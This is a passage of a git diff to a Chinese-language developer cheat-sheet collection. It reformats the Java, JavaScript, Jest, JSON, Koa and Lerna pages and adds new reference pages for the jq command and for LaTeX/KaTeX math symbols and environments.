┌───┬───┬───┬───┬───┬───┬───┬───┬───┐
| R | e | f | | | | | | |
└───┴───┴───┴───┴───┴───┴───┴───┴───┘
0 1 2 3 4 5 6 7 8 9
```
---
```java
sb.insert(0, "My ");
```
---
```java
┌───┬───┬───┬───┬───┬───┬───┬───┬───┐
| M | y | | R | e | f | | | |
└───┴───┴───┴───┴───┴───┴───┴───┴───┘
0 1 2 3 4 5 6 7 8 9
```
---
```java
sb.append("!");
```
---
```java
┌───┬───┬───┬───┬───┬───┬───┬───┬───┐
| M | y | | R | e | f | ! | | |
@ -370,7 +385,7 @@ Java 条件语句
- `!` _(逻辑补码运算符;反转布尔值)_
<!--rehype:className=style-round-->
----
---
- `==` _(等于)_
- `!=` _(不等于)_
@ -380,19 +395,19 @@ Java 条件语句
- `<=` _(小于或等于)_
<!--rehype:className=cols-2 style-round-->
----
---
- `&&` _条件与_
- `||` _条件或_
- [?:](#三元运算符) _三元(if-then-else 语句的简写)_
<!--rehype:className=style-round-->
----
---
- `instanceof` _(将对象与指定类型进行比较)_
<!--rehype:className=style-round-->
----
---
- `~` _(一元按位补码)_
- `<<` _(签名左移)_
@ -462,7 +477,7 @@ for (int i = 0; i < 10; i++) {
// 输出: 0123456789
```
------
---
```java
for (int i = 0,j = 0; i < 3; i++,j--) {
@ -537,28 +552,28 @@ Java 框架搜集
搜集 | Interface | 有序 | 已排序 | 线程安全 | 复制 | Nullable
:-|:-|:-|:-|:-|:-|:-
[ArrayList](https://docs.oracle.com/javase/8/docs/api/java/util/ArrayList.html) | List | Y | _N_ | _N_ | Y | Y
[Vector](https://docs.oracle.com/javase/8/docs/api/java/util/Vector.html) | List | Y | _N_ | Y | Y | Y
[LinkedList](https://docs.oracle.com/javase/8/docs/api/java/util/LinkedList.html) | List, Deque | Y | _N_ | _N_ | Y | Y
[CopyOnWriteArrayList](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/CopyOnWriteArrayList.html) | List | Y | _N_ | Y | Y | Y
[HashSet](https://docs.oracle.com/javase/8/docs/api/java/util/HashSet.html) | Set | _N_ | _N_ | _N_ | _N_ | One `null`
[LinkedHashSet](https://docs.oracle.com/javase/8/docs/api/java/util/LinkedHashSet.html) | Set | Y | _N_ | _N_ | _N_ | One `null`
[TreeSet](https://docs.oracle.com/javase/8/docs/api/java/util/TreeSet.html) | Set | Y | Y | _N_ | _N_ | _N_
[CopyOnWriteArraySet](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/CopyOnWriteArraySet.html) | Set | Y | _N_ | Y | _N_ | One `null`
[ConcurrentSkipListSet](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentSkipListSet.html) | Set | Y | Y | Y | _N_ | _N_
[HashMap](https://docs.oracle.com/javase/8/docs/api/java/util/HashMap.html) | Map | _N_ | _N_ | _N_ | _N (key)_ | One `null` _(key)_
[HashTable](https://docs.oracle.com/javase/8/docs/api/java/util/Hashtable.html) | Map | _N_ | _N_ | Y | _N (key)_ | _N (key)_
[LinkedHashMap](https://docs.oracle.com/javase/8/docs/api/java/util/LinkedHashMap.html) | Map | Y | _N_ | _N_ | _N (key)_ | One `null` _(key)_
[TreeMap](https://docs.oracle.com/javase/8/docs/api/java/util/TreeMap.html) | Map | Y | Y | _N_ | _N (key)_ | _N (key)_
[ConcurrentHashMap](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentHashMap.html) | Map | _N_ | _N_ | Y | _N (key)_ | _N_
[ConcurrentSkipListMap](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentSkipListMap.html) | Map | Y | Y | Y | _N (key)_ | _N_
[ArrayDeque](https://docs.oracle.com/javase/8/docs/api/java/util/ArrayDeque.html) | Deque | Y | _N_ | _N_ | Y | _N_
[PriorityQueue](https://docs.oracle.com/javase/8/docs/api/java/util/PriorityQueue.html) | Queue | Y | _N_ | _N_ | Y | _N_
[ConcurrentLinkedQueue](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentLinkedQueue.html) | Queue | Y | _N_ | Y | Y | _N_
[ConcurrentLinkedDeque](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentLinkedDeque.html) | Deque | Y | _N_ | Y | Y | _N_
[ArrayBlockingQueue](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ArrayBlockingQueue.html) | Queue | Y | _N_ | Y | Y | _N_
[LinkedBlockingDeque](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/LinkedBlockingDeque.html) | Deque | Y | _N_ | Y | Y | _N_
[PriorityBlockingQueue](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/PriorityBlockingQueue.html) | Queue | Y | _N_ | Y | Y | _N_
[ArrayList](https://docs.oracle.com/javase/8/docs/api/java/util/ArrayList.html) | List | Y | _N_ | _N_ | Y | Y
[Vector](https://docs.oracle.com/javase/8/docs/api/java/util/Vector.html) | List | Y | _N_ | Y | Y | Y
[LinkedList](https://docs.oracle.com/javase/8/docs/api/java/util/LinkedList.html) | List, Deque | Y | _N_ | _N_ | Y | Y
[CopyOnWriteArrayList](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/CopyOnWriteArrayList.html) | List | Y | _N_ | Y | Y | Y
[HashSet](https://docs.oracle.com/javase/8/docs/api/java/util/HashSet.html) | Set | _N_ | _N_ | _N_ | _N_ | One `null`
[LinkedHashSet](https://docs.oracle.com/javase/8/docs/api/java/util/LinkedHashSet.html) | Set | Y | _N_ | _N_ | _N_ | One `null`
[TreeSet](https://docs.oracle.com/javase/8/docs/api/java/util/TreeSet.html) | Set | Y | Y | _N_ | _N_ | _N_
[CopyOnWriteArraySet](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/CopyOnWriteArraySet.html) | Set | Y | _N_ | Y | _N_ | One `null`
[ConcurrentSkipListSet](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentSkipListSet.html) | Set | Y | Y | Y | _N_ | _N_
[HashMap](https://docs.oracle.com/javase/8/docs/api/java/util/HashMap.html) | Map | _N_ | _N_ | _N_ | _N (key)_ | One `null` _(key)_
[HashTable](https://docs.oracle.com/javase/8/docs/api/java/util/Hashtable.html) | Map | _N_ | _N_ | Y | _N (key)_ | _N (key)_
[LinkedHashMap](https://docs.oracle.com/javase/8/docs/api/java/util/LinkedHashMap.html) | Map | Y | _N_ | _N_ | _N (key)_ | One `null` _(key)_
[TreeMap](https://docs.oracle.com/javase/8/docs/api/java/util/TreeMap.html) | Map | Y | Y | _N_ | _N (key)_ | _N (key)_
[ConcurrentHashMap](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentHashMap.html) | Map | _N_ | _N_ | Y | _N (key)_ | _N_
[ConcurrentSkipListMap](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentSkipListMap.html) | Map | Y | Y | Y | _N (key)_ | _N_
[ArrayDeque](https://docs.oracle.com/javase/8/docs/api/java/util/ArrayDeque.html) | Deque | Y | _N_ | _N_ | Y | _N_
[PriorityQueue](https://docs.oracle.com/javase/8/docs/api/java/util/PriorityQueue.html) | Queue | Y | _N_ | _N_ | Y | _N_
[ConcurrentLinkedQueue](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentLinkedQueue.html) | Queue | Y | _N_ | Y | Y | _N_
[ConcurrentLinkedDeque](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentLinkedDeque.html) | Deque | Y | _N_ | Y | Y | _N_
[ArrayBlockingQueue](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ArrayBlockingQueue.html) | Queue | Y | _N_ | Y | Y | _N_
[LinkedBlockingDeque](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/LinkedBlockingDeque.html) | Deque | Y | _N_ | Y | Y | _N_
[PriorityBlockingQueue](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/PriorityBlockingQueue.html) | Queue | Y | _N_ | Y | Y | _N_
<!--rehype:className=show-header-->
### ArrayList
@ -771,4 +786,4 @@ try {
另见
---
- [Java 官网](https://www.java.com/zh-CN/) _(java.com)_
- [Java 官网](https://www.java.com/zh-CN/) _(java.com)_

View File

@ -54,7 +54,6 @@ count = 10;
console.log(count); // => 10
```
### const 关键字
```javascript
@ -238,11 +237,9 @@ parseFloat();
parseInt();
```
JavaScript 条件
----
### 操作符
<!--rehype:wrap-class=row-span-3-->
@ -273,7 +270,7 @@ true && false; // false
1 === '1' // false
```
#### 逻辑运算符 !
#### 逻辑运算符
```javascript
let lateToWork = true;
@ -727,7 +724,6 @@ numbers.concat(newFirstNumber)
如果你想避免改变你的原始数组,你可以使用 concat。
### 方法 .splice()
```javascript
@ -1295,7 +1291,6 @@ class Song {
}
```
JavaScript Modules
----
<!--rehype:body-class=cols-2-->
@ -1639,7 +1634,7 @@ msg(); // Message: Hello World! <-- 2 秒后
JavaScript 请求
----
### JSON
### JSON
```JS
const jsonObj = {
@ -1771,4 +1766,4 @@ const getSuggestions = async () => {
console.log(error)
}
}
```
```

View File

@ -546,7 +546,6 @@ test('async test', () => {
从你的测试中 _返回_ 一个 `Promise`
## 模拟
### 模拟函数
@ -800,7 +799,6 @@ const fs = require('fs')
const fs = require.requireActual('fs')
```
数据驱动测试Jest 23+
----
@ -886,7 +884,6 @@ test('第二个文本', () => {
`Node.js` 和 `Jest` 会缓存你需要的模块。 要测试具有副作用的模块,您需要在测试之间重置模块注册表
另见
----

236
docs/jq.md Normal file
View File

@ -0,0 +1,236 @@
jq 备忘清单
===
这个快速参考备忘单提供了使用 [jq](https://stedolan.github.io/jq/) 命令的各种方法。
入门
----
### 介绍
jq 就像用于 JSON 数据的 [sed](./sed.md) - 您可以使用它来切片、过滤、映射和转换结构化数据
- [jq 官网](https://stedolan.github.io/jq/) _(stedolan.github.io)_
- [jq 命令使用](https://jaywcjlove.github.io/linux-command/c/jq.html) _(jaywcjlove.github.io)_
安装
```bash
$ sudo apt-get install jq # Debian& Ubuntu
$ sudo dnf install jq # Fedora
$ sudo zypper install jq # openSUSE
$ sudo pacman -S jq # Arch
$ brew install jq # macOS & Homebrew
$ port install jq # macOS & MacPorts
```
语法
```bash
$ jq [options] <jq filter> [file...]
$ jq [options] --args <jq filter> [strings...]
$ jq [options] --jsonargs <jq filter> [JSON_TEXTS...]
```
<!--rehype:className=wrap-text -->
### 选项
<!--rehype:wrap-class=col-span-2-->
:- | -
:- | -
`-c` | 紧凑而不是漂亮的输出
`-n` | 使用`null`作为单个输入值
`-e` | 根据输出设置退出状态代码
`-s` | 将所有输入读取(吸取)到数组中;应用过滤器
`-r` | 输出原始字符串而不是JSON文本
`-R` | 读取原始字符串而不是JSON文本
`-C` | 为 JSON 着色
`-M` | 单色不要为JSON着色
`-S` | 在输出上排序对象的键
`--tab` | 使用制表符进行缩进
`--arg a v` | 将变量 `$a` 设置为 value `<v>`
`--argjson a v` | 将变量 `$a` 设置为 JSON value `<v>`
`--slurpfile a f` | 将变量 `$a` 设置为从`<f>`读取的JSON文本数组
`--rawfile a f` | 将变量 `$a` 设置为包含`<f>`内容的字符串
`--args` | 其余参数是字符串参数,而不是文件
`--jsonargs` | 其余的参数是JSON参数而不是文件
`--` | 终止参数处理
学习示例
---
### 获取一个键的值
```bash
$ echo '{"foo": 42, "bar": "less interesting data"}' | jq '.foo'
```
<!--rehype:className=wrap-text -->
输出结果
```bash
42
```
### 数组运算
```bash
$ echo '[{"name":"JSON", "good":true}, {"name":"XML", "good":false}]' | jq '.[1]'
```
<!--rehype:className=wrap-text -->
输出结果
```bash
{
"name": "XML",
"good": false
}
```
### 构造一个数组/对象
```bash
$ echo '{"user":"stedolan","titles":["JQ Primer", "More JQ"]}' | jq '{user, title: .titles[]}'
```
<!--rehype:className=wrap-text -->
输出结果
```bash
{
"user": "stedolan",
"title": "JQ Primer"
}
{
"user": "stedolan",
"title": "More JQ"
}
```
### 计算一个值的长度
```bash
$ echo '[[1,2], "string", {"a":2}, null]' | jq '.[] | length'
```
<!--rehype:className=wrap-text -->
输出结果
```bash
2
6
1
0
```
### 取出数组中的键
```bash
$ echo '{"abc": 1, "abcd": 2, "Foo": 3}' | jq 'keys'
```
<!--rehype:className=wrap-text -->
输出结果
```bash
[
"Foo",
"abc",
"abcd"
]
```
### 使用多个过滤器
```bash
$ echo '{ "foo": 42, "bar": "something else", "baz": true}' | jq '.foo, .bar'
```
<!--rehype:className=wrap-text -->
输出结果
```bash
42
"something else"
```
### 管道传递给下一个过滤器
```bash
$ echo '[{"name":"JSON", "good":true}, {"name":"XML", "good":false}]' | jq '.[] | .name'
```
<!--rehype:className=wrap-text -->
输出结果
```bash
"JSON"
"XML"
```
### 条件语句判断
```bash
$ echo '[1,5,3,0,7]' | jq 'map(select(. >= 2))'
```
<!--rehype:className=wrap-text -->
输出结果
```bash
[
5,
3,
7
]
```
### 每个输入调用过滤器
```bash
$ echo '[1,2,3]' | jq 'map(.+1)'
```
输出结果
```bash
[
2,
3,
4
]
```
### 条件判断
```bash
$ echo '2' | jq 'if . == 0 then "zero" elif . == 1 then "one" else "many" end'
```
<!--rehype:className=wrap-text -->
输出结果
```bash
"many"
```
### 字符串插入值并进行运算
```bash
$ echo '42' | jq '"The input was \(.), which is one less than \(.+1)"'
```
<!--rehype:className=wrap-text -->
输出结果
```bash
"The input was 42, which is one less than 43"
```
<!--rehype:className=wrap-text -->
另见
----
- [jq 官网](https://stedolan.github.io/jq/) _(stedolan.github.io)_
- [jq 命令使用](https://jaywcjlove.github.io/linux-command/c/jq.html) _(jaywcjlove.github.io)_

View File

@ -75,13 +75,13 @@ JSON 备忘清单
```json
{ "foo": 'bar' }
```
Have to be delimited by double quotes
Have to be delimited by double quotes
### 数字
<!--rehype:wrap-class=row-span-2-->
类型 | 说明
类型 | 说明
-----|------
`Integer` | 数字 1-9、0 和正数或负数
`Fraction` | 0.3、3.9 等分数
@ -297,6 +297,7 @@ let myArray = [
}
];
```
----
| | |
@ -320,7 +321,7 @@ let myArray = [
];
```
-----
----
| | |
|--------------|-----------|
@ -328,10 +329,9 @@ let myArray = [
| `myArray[5]` | true |
| `myArray[6]` | undefined |
另见
----
- [JSON](https://www.json.org/json-en.html) _(json.org)_
- [JSON Editor Online](http://jsoneditoronline.org/) _(jsoneditoronline.org)_
- [Convert JSON Array to Markdown Table, CSV and more](https://tableconvert.com/json-to-markdown) _(tableconvert.com)_
- [Convert JSON Array to Markdown Table, CSV and more](https://tableconvert.com/json-to-markdown) _(tableconvert.com)_

View File

@ -3,7 +3,6 @@ Koajs 备忘清单
基于 Node.js 平台的下一代 web 开发框架,包含 [Koa](https://koajs.com/) 的 API 参考列表和一些示例。
入门
---
@ -13,6 +12,7 @@ Koajs 备忘清单
[Koa](https://koajs.com/) 需要 [node v7.6.0](https://nodejs.org) 或更高版本来支持ES2015、异步方法你可以安装自己支持的 `node` 版本
- 安装依赖
```bash
$ mkdir myapp # 创建目录
$ cd myapp # 进入目录
@ -20,7 +20,9 @@ Koajs 备忘清单
$ npm init -y # 初始化一个配置
$ npm install koa # 安装依赖
```
- 入口文件 `index.js` 添加代码:
```js
const Koa = require('koa');
const app = new Koa();
@ -31,7 +33,9 @@ Koajs 备忘清单
app.listen(3000);
```
- 使用以下命令运行应用程序
```bash
$ node index.js
```
@ -421,4 +425,4 @@ const ct = ctx.type;
// => "image/png"
```
获取 response Content-Type不包含像"charset"这样的参数
获取 response Content-Type不包含像"charset"这样的参数

421
docs/latex.md Normal file
View File

@ -0,0 +1,421 @@
LaTeX 备忘清单
===
本备忘单总结了 [LaTeX](https://www.latex-project.org/) 常用显示数学符号的参考列表和一些 [KaTeX](https://katex.org/) 的应用示例。
入门
---
### 介绍
[LaTeX](https://www.latex-project.org/) 基于 TEX 的排版系统,适用于生成高印刷质量的科技和数学、物理文档。
- [LaTeX 官网](https://www.latex-project.org/) _(latex-project.org)_
- [KaTeX 官网](https://katex.org/) _(katex.org)_
而 [KaTeX](https://katex.org/) 只处理 LaTeX 的数学符号的一个更小的子集,用于 web 上展示
### 示例
```KaTeX
% \f is defined as #1f(#2) using the macro
f\relax(x) = \int_{-\infty}^\infty
f\hat\xi\,e^{2 \pi i \xi x}
\,d\xi
```
---
```LaTeX
% \f is defined as #1f(#2) using the macro
f\relax(x) = \int_{-\infty}^\infty
f\hat\xi\,e^{2 \pi i \xi x}
\,d\xi
```
### 行内展示
```markdown
基于 KaTeX 在一行
展示示例: `KaTeX:\int_0^\infty x^2 dx`
```
基于 KaTeX 在一行展示示例: `KaTeX:\int_0^\infty x^2 dx`
Supported Functions
---
### Accents
<!--rehype:wrap-class=col-span-2 row-span-2-->
:- | :- | :-
:- | :- | :-
`KaTeX:a'` <pur>`a'`</pur> | `KaTeX:\tilde{a}` <pur>`\tilde{a}`</pur> | `KaTeX:\mathring{g}` <pur>`\mathring{g}`</pur>
`KaTeX:a''` <pur>`a''`</pur> | `KaTeX:\widetilde{ac}` <pur>`\widetilde{ac}`</pur> | `KaTeX:\overgroup{AB}` <pur>`\overgroup{AB}`</pur>
`KaTeX:a^{\prime}` <pur>`a^{\prime}`</pur> | `KaTeX:\utilde{AB}` <pur>`\utilde{AB}`</pur> | `KaTeX:\undergroup{AB}` <pur>`\undergroup{AB}`</pur>
`KaTeX:\acute{a}` <pur>`\acute{a}`</pur> | `KaTeX:\vec{F}` <pur>`\vec{F}`</pur> | `KaTeX:\Overrightarrow{AB}` <pur>`\Overrightarrow{AB}`</pur>
`KaTeX:\bar{y}` <pur>`\bar{y}`</pur> | `KaTeX:\overleftarrow{AB}` <pur>`\overleftarrow{AB}`</pur> | `KaTeX:\overrightarrow{AB}` <pur>`\overrightarrow{AB}`</pur>
`KaTeX:\breve{a}` <pur>`\breve{a}`</pur> | `KaTeX:\underleftarrow{AB}` <pur>`\underleftarrow{AB}`</pur> | `KaTeX:\underrightarrow{AB}` <pur>`\underrightarrow{AB}`</pur>
`KaTeX:\check{a}` <pur>`\check{a}`</pur> | `KaTeX:\overleftharpoon{ac}` <pur>`\overleftharpoon{ac}`</pur> | `KaTeX:\overrightharpoon{ac}` <pur>`\overrightharpoon{ac}`</pur>
`KaTeX:\dot{a}` <pur>`\dot{a}`</pur> | `KaTeX:\overleftrightarrow{AB}` <pur>`\overleftrightarrow{AB}`</pur> | `KaTeX:\overbrace{AB}` <pur>`\overbrace{AB}`</pur>
`KaTeX:\ddot{a}` <pur>`\ddot{a}`</pur> | `KaTeX:\underleftrightarrow{AB}` <pur>`\underleftrightarrow{AB}`</pur> | `KaTeX:\underbrace{AB}` <pur>`\underbrace{AB}`</pur>
`KaTeX:\grave{a}` <pur>`\grave{a}`</pur> | `KaTeX:\overline{AB}` <pur>`\overline{AB}`</pur> | `KaTeX:\overlinesegment{AB}` <pur>`\overlinesegment{AB}`</pur>
`KaTeX:\hat{\theta}` <pur>`\hat{\theta}`</pur> | `KaTeX:\underline{AB}` <pur>`\underline{AB}`</pur> | `KaTeX:\underlinesegment{AB}` <pur>`\underlinesegment{AB}`</pur>
`KaTeX:\widehat{ac}` <pur>`\widehat{ac}`</pur> | `KaTeX:\widecheck{ac}` <pur>`\widecheck{ac}`</pur> | `KaTeX:\underbar{X}` <pur>`\underbar{X}`</pur>
### \text中的强调功能
:- | :- | :-
:- | :- | :-
`KaTeX:\'{a}` <pur>`\'{a}`</pur> | `KaTeX:\~{a}` <pur>`\~{a}`</pur> |
`KaTeX:\.{a}` <pur>`\.{a}`</pur> | `KaTeX:\H{a}` <pur>`\H{a}`</pur> |
``KaTeX:\\\`{a}`` <pur><code>\\&#96;{a}</code></pur> | `KaTeX:\={a}` <pur>`\={a}`</pur> |
`KaTeX:\"{a}` <pur>`\"{a}`</pur> | `KaTeX:\v{a}` <pur>`\v{a}`</pur> |
`KaTeX:\^{a}` <pur>`\^{a}`</pur> | `KaTeX:\u{a}` <pur>`\u{a}`</pur> |
`KaTeX:\r{a}` <pur>`\r{a}`</pur> |
### Delimiter Sizing
:- | :-
:- | :-
`KaTeX:\left(\LARGE{AB}\right)` | <pur>`\left(\LARGE{AB}\right)`</pur>
`KaTeX:( \big( \Big( \bigg( \Bigg(`| <pur>`( \big( \Big( \bigg( \Bigg(`</pur>
---
:- | :- | :- | :- | :-
:- | :- | :- | :- | :-
`\left` | `\big` | `\bigl` | `\bigm` | `\bigr`
`\middle` | `\Big` | `\Bigl` | `\Bigm` | `\Bigr`
`\right` | `\bigg` | `\biggl` | `\biggm` | `\biggr`
`` | `\Bigg` | `\Biggl` | `\Biggm` | `\Biggr`
### 分隔符 Delimiters
<!--rehype:wrap-class=col-span-3-->
预览 | 方法 | 预览 | 方法 | 预览 | 方法 | 预览| 方法 | 预览 | 方法
:- | :- | :- | :- | :- | :- | :- | :- | :- | :-
| `KaTeX:()` | <pur>`()`</pur> | `KaTeX:\lparen \rparen` | <pur>`\lparen` `\rparen`</pur> | `KaTex:⌈ ⌉` | <pur>`⌈ ⌉`</pur> | `KaTex:\lceil \rceil` | <pur>`\lceil` `\rceil`</pur> | `KaTex:\uparrow` | <pur>`\uparrow`</pur> |
| `KaTeX:[]` | <pur>`[]`</pur> | `KaTeX:\lbrack \rbrack` | <pur>`\lbrack` `\rbrack`</pur> | `KaTex:⌊ ⌋` | <pur>`⌊ ⌋`</pur> | `KaTex:\lfloor \rfloor` | <pur>`\lfloor` `\rfloor`</pur> | `KaTex:\downarrow` | <pur>`\downarrow`</pur> |
| `KaTeX:\{ \}` | <pur>`{}`</pur> | `KaTex:\lbrace \rbrace` | <pur>`\lbrace` `\rbrace`</pur> | `KaTex:⎰⎱` | <pur>`⎰⎱`</pur> | `KaTex:\lmoustache \rmoustache` | <pur>`\lmoustache` `\rmoustache`</pur> | `KaTex:\updownarrow` | <pur>`\updownarrow`</pur> |
| `KaTeX:⟨ ⟩` | <pur>`⟨⟩`</pur> | `KaTex:\langle \rangle` | <pur>`\langle` `\rangle`</pur> | `KaTex:⟮ ⟯` | <pur>`⟮ ⟯`</pur> | `KaTex:\lgroup \rgroup` | <pur>`\lgroup` `\rgroup`</pur> | `KaTex:\Uparrow` | <pur>`\Uparrow`</pur> |
| `KaTeX:` | <pur>`\|`</pur> | `KaTex:\vert` | <pur>`\vert`</pur> | `KaTex:┌ ┐` | <pur>`┌ ┐`</pur> | `KaTex:\ulcorner \urcorner` | <pur>`\ulcorner` `\urcorner`</pur> | `KaTex:\Downarrow` | <pur>`\Downarrow`</pur> |
| `KaTeX:\|` _(<red>MD语法冲突</red>)_ | <pur><code>\\&#124;</code></pur> | `KaTex:\Vert` | <pur>`\Vert`</pur> | `KaTex:└ ┘` | <pur>`└ ┘`</pur> | `KaTex:\llcorner \lrcorner` | <pur>`\llcorner` `\lrcorner`</pur> | `KaTex:\Updownarrow` | <pur>`\Updownarrow`</pur> |
| `KaTeX: ` | <pur>`\lvert` `\rvert`</pur> | `KaTex:\lVert \rVert` | <pur>`\lVert` `\rVert`</pur> | | <pur>`\left.`</pur> | | <pur>`\right.`</pur> | `KaTex:\backslash` | <pur>`\backslash`</pur> |
| `KaTeX:\lang` `KaTeX:\rang` | <pur>`\lang` `\rang`<pur> | `KaTeX:\lt \gt` | <pur>`\lt \gt`</pur> | `KaTex:⟦ ⟧` | <pur>`⟦ ⟧`</pur> | `KaTex:\llbracket \rrbracket` | <pur>`\llbracket` `\rrbracket`</pur> | `KaTex:\lBrace \rBrace` | <pur>`\lBrace \rBrace`</pur> |
<!--rehype:className=show-header left-align-->
Environments
---
### Environments 1
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
```KaTeX
\begin{matrix}
a & b \\
c & d
\end{matrix}
```
```LaTeX
\begin{matrix}
a & b \\
c & d
\end{matrix}
```
### Environments 2
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
```KaTeX
\begin{array}{cc}
a & b \\
c & d
\end{array}
```
```LaTeX
\begin{array}{cc}
a & b \\
c & d
\end{array}
```
### Environments 3
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
```KaTeX
\begin{pmatrix}
a & b \\
c & d
\end{pmatrix}
```
```LaTeX
\begin{pmatrix}
a & b \\
c & d
\end{pmatrix}
```
### Environments 4
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
```KaTeX
\begin{bmatrix}
a & b \\
c & d
\end{bmatrix}
```
```LaTeX
\begin{bmatrix}
a & b \\
c & d
\end{bmatrix}
```
### Environments 5
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
```KaTeX
\begin{vmatrix}
a & b \\
c & d
\end{vmatrix}
```
```LaTeX
\begin{vmatrix}
a & b \\
c & d
\end{vmatrix}
```
### Environments 6
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
```KaTeX
\begin{Vmatrix}
a & b \\
c & d
\end{Vmatrix}
```
```LaTeX
\begin{Vmatrix}
a & b \\
c & d
\end{Vmatrix}
```
### Environments 7
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
```KaTeX
\begin{Bmatrix}
a & b \\
c & d
\end{Bmatrix}
```
```LaTeX
\begin{Bmatrix}
a & b \\
c & d
\end{Bmatrix}
```
### Environments 8
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
```KaTeX
\def\arraystretch{1.5}
\begin{array}{c:c:c}
a & b & c \\ \hline
d & e & f \\
\hdashline
g & h & i
\end{array}
```
```LaTeX
\def\arraystretch{1.5}
\begin{array}{c:c:c}
a & b & c \\ \hline
d & e & f \\
\hdashline
g & h & i
\end{array}
```
### Environments 9
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
```KaTeX
x = \begin{cases}
a &\text{if } b \\
c &\text{if } d
\end{cases}
```
```LaTeX
x = \begin{cases}
a &\text{if } b \\
c &\text{if } d
\end{cases}
```
### Environments 10
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
```KaTeX
\begin{rcases}
a &\text{if } b \\
c &\text{if } d
\end{rcases}⇒…
```
```LaTeX
\begin{rcases}
a &\text{if } b \\
c &\text{if } d
\end{rcases}⇒…
```
### Environments 11
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
```KaTeX
\begin{smallmatrix}
a & b \\
c & d
\end{smallmatrix}
```
```LaTeX
\begin{smallmatrix}
a & b \\
c & d
\end{smallmatrix}
```
### Environments 12
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
```KaTeX
\sum_{
\begin{subarray}{l}
i\in\Lambda\\
0<j<n
\end{subarray}}
```
```LaTeX
\sum_{
\begin{subarray}{l}
i\in\Lambda\\
0<j<n
\end{subarray}}
```
### Environments 12
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
```KaTeX
\begin{equation}
\begin{split} a &=b+c\\
&=e+f
\end{split}
\end{equation}
```
<!--rehype:style=flex:1;-->
```LaTeX
\begin{equation}
\begin{split} a &=b+c\\
&=e+f
\end{split}
\end{equation}
```
### Environments 12
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
```KaTeX
\begin{align}
a&=b+c \\
d+e&=f
\end{align}
```
<!--rehype:style=flex:1;-->
```LaTeX
\begin{align}
a&=b+c \\
d+e&=f
\end{align}
```
### Environments 12
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
```KaTeX
\begin{gather}
a=b \\
e=b+c
\end{gather}
```
<!--rehype:style=flex:1;-->
```LaTeX
\begin{gather}
a=b \\
e=b+c
\end{gather}
```
### Environments 12
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
```KaTeX
\begin{alignat}{2}
10&x+&3&y=2\\
3&x+&13&y=4
\end{alignat}
```
<!--rehype:style=flex:1;-->
```LaTeX
\begin{alignat}{2}
10&x+&3&y=2\\
3&x+&13&y=4
\end{alignat}
```
### Environments 12
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
```KaTeX
\begin{CD}
A @>a>> B \\
@VbVV @AAcA \\
C @= D
\end{CD}
```
<!--rehype:style=flex:1;-->
```LaTeX
\begin{CD}
A @>a>> B \\
@VbVV @AAcA \\
C @= D
\end{CD}
```
另见
----
- [LaTeX 官网](https://www.latex-project.org/) _(latex-project.org)_
- [KaTeX 官网](https://katex.org/) _(katex.org)_

View File

@ -199,7 +199,7 @@ $ lerna publish --canary preminor
}
```
----
---
:- | :-
:- | :-
@ -239,7 +239,7 @@ $ lerna version -m "chore(doc): publish %v"
- `prerelease` 预发行
<!--rehype:className=cols-2-->
----
---
:- | :-
:- | :-
@ -311,7 +311,6 @@ $ lerna bootstrap --hoist
`--force-local` [#](https://github.com/lerna/lerna/tree/main/commands/bootstrap#--force-local) | 此标志会导致引导命令始终对本地依赖项进行符号链接,而不管匹配的版本范围如何
<!--rehype:className=style-list-arrow-->
### info 本地环境信息
```bash
@ -410,9 +409,9 @@ lerna la
:- | :-
:- | :-
`--conventional-graduate` | [#](https://github.com/lerna/lerna/tree/main/commands/publishhttps://github.com/lerna/lerna/tree/main/commands/version#--conventional-graduate)
`--force-publish` | [#](https://github.com/lerna/lerna/tree/main/commands/publishhttps://github.com/lerna/lerna/tree/main/commands/version#--force-publish)
`--ignore-changes` | [#](https://github.com/lerna/lerna/tree/main/commands/publishhttps://github.com/lerna/lerna/tree/main/commands/version#--ignore-changes)
`--conventional-graduate` | [#](https://github.com/lerna/lerna/tree/main/commands/publishhttps://github.com/lerna/lerna/tree/main/commands/version#--conventional-graduate)
`--force-publish` | [#](https://github.com/lerna/lerna/tree/main/commands/publishhttps://github.com/lerna/lerna/tree/main/commands/version#--force-publish)
